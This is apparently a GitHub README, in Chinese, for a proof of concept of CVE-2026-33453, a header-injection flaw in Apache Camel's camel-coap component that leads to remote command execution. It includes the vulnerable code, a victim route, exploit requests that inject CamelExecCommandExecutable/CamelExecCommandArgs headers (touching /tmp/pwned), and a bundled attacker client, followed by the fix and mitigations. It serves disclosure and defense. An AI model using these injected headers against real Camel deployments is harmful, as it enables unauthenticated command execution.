oscerd/CVE-2026-33453
GitHub: oscerd/CVE-2026-33453
复现 Apache Camel camel-coap 组件因缺少 HeaderFilterStrategy 导致的 CoAP 消息头注入至远程代码执行漏洞(CVE-2026-33453)的概念验证项目。
Stars: 0 | Forks: 0
# camel-coap Header Injection → RCE 漏洞复现 (CVE-2026-33453)
本项目演示了 Apache Camel 的 `camel-coap` 组件中的一个 **Camel 消息头注入** 漏洞,漏洞编号为 **CVE-2026-33453**。未经身份验证的攻击者只需发送单个 CoAP UDP 数据包,即可将任意的 `Camel*` 控制头注入到 Exchange 中;当路由将其转发到对消息头敏感的 producer(如 `camel-exec`)时,即可实现 **远程代码执行**。
安全公告: https://camel.apache.org/security/CVE-2026-33453.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-coap` |
| **受影响类** | `org.apache.camel.coap.CamelCoapResource` (`handleRequest`) |
| **根本原因** | CoAP URI 查询参数被复制到 Exchange header 中,且未使用 `HeaderFilterStrategy` |
| **CWE** | CWE-915: 动态确定对象属性的不当控制修改 |
| **影响** | 远程代码执行 (通过对消息头敏感的 producer,例如 camel-exec) |
| **攻击面** | 单个未经身份验证的 CoAP UDP 数据报 (默认端口 5683) |
| **受影响版本** | 从 4.14.0 到 4.14.6 之前,以及从 4.15.0 到 4.18.1 之前 |
| **修复版本** | 4.14.6, 4.18.1, 4.19.0 |
| **JIRA** | CAMEL-23222 |
| **报告者** | Hyunwoo Kim (@v4bel) |
## 技术细节
在受影响的版本中,`CamelCoapResource.handleRequest()` 会遍历 CoAP 请求的 URI 查询选项,并将每一个选项复制到 Camel Exchange In header 中,**期间没有应用任何 `HeaderFilterStrategy`**:
```
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
```
`CoAPEndpoint` 继承自 `DefaultEndpoint` (而不是 `DefaultHeaderFilterStrategyEndpoint`),并且 `CoAPComponent` 没有实现 `HeaderFilterStrategyComponent`,因此根本没有任何过滤器。因此,攻击者只需在 CoAP 请求 URI 中添加查询参数,即可设置**任何** header —— 包括 Camel 内部的 `Camel*` 控制 header。
当路由将消息传递给对 header 敏感的 producer 时,这些 header 会改变其行为。对于 `camel-exec`,`CamelExecCommandExecutable` 和 `CamelExecCommandArgs` header 会覆盖在 endpoint 上配置的可执行文件和参数 (在受影响的版本中默认予以执行),从而导致任意 OS 命令执行。命令的 stdout 会被写回 Exchange body 并在 CoAP 响应中返回,从而提供了一个交互式的 RCE 通道。
## 受害者路由
```
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
```
正常的请求会运行 `echo hello`。攻击者则可以通过注入的 header 覆盖该命令。
## 前置条件
- Java 17+
- Maven 3.8+
CoAP 基于 UDP (RFC 7252),没有内置身份验证 (DTLS 是可选的,且默认禁用),因此**不需要任何外部服务或 Docker 容器** —— 该复现应用程序既是存在漏洞的 CoAP 服务器,也内置了攻击者客户端 (使用诸如 libcoap 的 `coap-client` 等原始客户端也可以)。
## 复现步骤
### 第一步:构建并启动
```
mvn clean package -DskipTests
mvn spring-boot:run
```
应用程序会在 `coap://0.0.0.0:5683/run` 启动易受攻击的路由,并在 8080 端口启动一个辅助 REST controller。
### 第二步:正常请求 (健全性检查)
```
curl http://localhost:8080/exploit/normal
# -> CoAP 响应:hello
```
### 第三步:攻击 —— 通过 CoAP URI 查询注入 exec 覆盖 header
```
# 默认良性证明:touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# 选择不同的 executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
```
在底层,内置的 CoAP 客户端会发送单个数据报:
```
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
```
如果改用原始 CoAP 客户端:
```
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
```
### 第四步:验证
```
ls -la /tmp/pwned
```
如果 `/tmp/pwned` 存在,则说明注入的 header 成功覆盖了 exec 命令 → RCE。
## 攻击向量
此注入只需要在下游有一个对 header 敏感的 producer。安全公告中列举了以下几种:
- **camel-exec** — `CamelExecCommandExecutable` / `CamelExecCommandArgs` → OS 命令执行
- **camel-file** — `CamelFileName` → 任意文件写入 / 路径遍历
- **camel-sql** — 查询控制 header
- **camel-bean** — `CamelBeanMethodName` → 调用其他方法
- **模板组件** (freemarker/velocity) — 资源选择 header
## 利用条件
1. 消费来源为 `coap://...` 的 Camel 路由。
2. 该路由转发到 (或受影响于) 对 header 敏感的 producer。
3. 在 CoAP consumer 和该 producer 之间没有使用 `removeHeaders("Camel*")`。
无需身份验证;向 5683 端口发送单个 UDP 数据报即可达成攻击。
## 修复建议
修复方案 (CAMEL-23222) 让 `CoAPEndpoint` 携带了 `HeaderFilterStrategy`,并在 `handleRequest()` 设置 header 之前应用该策略,从而确保 `Camel*` 为前缀的名称会在 CoAP 边界处被过滤,就像其他所有传输协议一样:
```
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
```
## 缓解措施
在升级之前:
1. **剥离 Camel header**:针对来源于 CoAP 的消息,在 `from("coap:...")` 之后直接使用 `.removeHeaders("Camel*")`。
2. **避免使用对 header 敏感的 producer**:不要将其置于不受信任的 CoAP 输入下游,或者锁定其配置,使得 header 无法覆盖原有设置。
3. **启用 DTLS** (`coaps://`) 并要求客户端身份验证,以限制可以访问该 endpoint 的对象。
4. **网络隔离**:将 CoAP 端口保留在受信任的网络中。
## 文件
```
CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
```
## 免责声明
此复现代码仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CoAP协议, Go语言工具, JS文件枚举, RCE, 域名枚举, 安全漏洞复现